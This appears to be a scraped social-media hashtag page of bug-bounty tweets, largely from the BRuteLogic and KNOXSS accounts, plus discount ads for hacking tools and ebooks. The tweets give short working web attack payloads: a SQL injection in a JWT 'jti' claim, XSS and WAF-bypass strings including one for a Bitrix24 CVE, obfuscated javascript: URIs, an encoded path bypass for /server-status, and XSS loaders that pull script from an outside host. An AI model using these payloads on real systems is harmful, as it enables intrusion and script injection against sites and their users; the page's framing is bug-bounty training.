Top Tweets for #hack2EARN

4 months ago

Brute One v0.2 with JBroken Our proprietary tool to handle all the cases of our testbed at https://t.co/DdhdyLZcIh Fully automated with FFF - Find, Forge and Fire PoC Available at https://t.co/VM52wu5BGh #hack2earn #bugbounty #jwt

Brute

@BRuteLogic

4 months ago

JWT Auth Bypass TestBed https://t.co/qoYUYTxduT Test your skills: 18 main tests with variations. A proprietary tool with 40+ techniques for Brute One will be available this week to spot all these cases in the wild in a matter of seconds. https://t.co/ThMs09G3Hp

BRuteLogic's tweet photo. JWT Auth Bypass TestBed

https://t.co/qoYUYTxduT

Test your skills: 18 main tests with variations.

A proprietary tool with 40+ techniques for Brute One will be available this week to spot all these cases in the wild in a matter of seconds.

https://t.co/ThMs09G3Hp https://t.co/D6UbqCMrWe

643

117

591

31K

Brute

@BRuteLogic

4 months ago

JWT SQL Injection jti (JWT ID) is stored in a DB to prevent token replay. That lookup is injectable. "jti": "' OR '1'='1" Try it: https://t.co/A01VkoVnjK Full technique: https://t.co/r4ePoKUoFo #hack2earn #bugbounty #jwt

BRuteLogic's tweet photo. JWT SQL Injection

jti (JWT ID) is stored in a DB to prevent token replay.
That lookup is injectable.

"jti": "' OR '1'='1"

Try it: https://t.co/A01VkoVnjK

Full technique: https://t.co/r4ePoKUoFo

#hack2earn #bugbounty #jwt https://t.co/0MxKON4Dau

597

477

22K

KNOXSS @KN0X55

4 months ago

Fake HTMLi for JSi <a href='/alert(1)/'> An HTML anchor that works as JavaScript Injection, possibly confusing parsers and/or satisfying white lists. This same technique worked against Bitrix24 CMS WAF https://t.co/s0ouLOgBjG #hack2earn

Brute

@BRuteLogic

over 4 years ago

Bitrix24 CMS #XSS #WAF Bypass CVE-2020-13483 (Shorter Payload) <a href="/*">*/)}); function+__MobileAppList(){alert(1)}//> Reference: https://t.co/ZFXQSKXxmY

$BRuteLogic's tweet photo. Bitrix24 CMS #XSS #WAF Bypass CVE-2020-13483 (Shorter Payload) <a href="/*">*/)}); function+__MobileAppList(){alert(1)}//> Reference: https://t.co/ZFXQSKXxmY https://t.co/nAXeZfLm2P$

272

KNOXSS @KN0X55

4 months ago

JavaScript URI Obfuscation (colon entity, no semicolon) JavaScript%26%2358confirm(1) JavaScript%26%2358AB:confirm(1) JavaScript%26%2358%0Bconfirm(1) JavaScript%26%2358top?confirm(1):0 #hack2earn

Brute

@BRuteLogic

4 months ago

/server-status 403 Forbidden /server%2Dstatus 200 OK Program: Slack Year: 2016 Bounty: 2k #hack2earn

173

Brute

@BRuteLogic

11 months ago

#BlackNovember Up to 50% OFF ✅ KNOXSS https://t.co/E8YxCpYuUQ 3 Months ̶$̶6̶9̶ $39 6 Months ̶$̶9̶9̶ $49 1 Year ̶$̶1̶2̶9̶ $69 ✅ Ebooks https://t.co/sUKaeW9CZQ First Bounty ̶$̶2̶9̶ $19 SSRF Mastery Fundamentals ̶$̶4̶9̶ $29 The Brute Art of Bypass ̶$̶3̶9̶ $19 #hack2earn

Brute

@BRuteLogic

12 months ago

Improve your #BugBounty reports Using a Remote #XSS Call 1. import('//X55.is') https://t.co/44PpUdSoC1 2. $.getScript`//X55.is` (requires jQuery) https://t.co/ZQyAdexV0F 3. appendChild(createElement`script`).src='//X55.is' https://t.co/5u88JwaYwE #hack2learn #hack2earn

Top Tweets for #hack2EARN

Last Seen Hashtags on Sotwe

Trends for you

Most Popular Users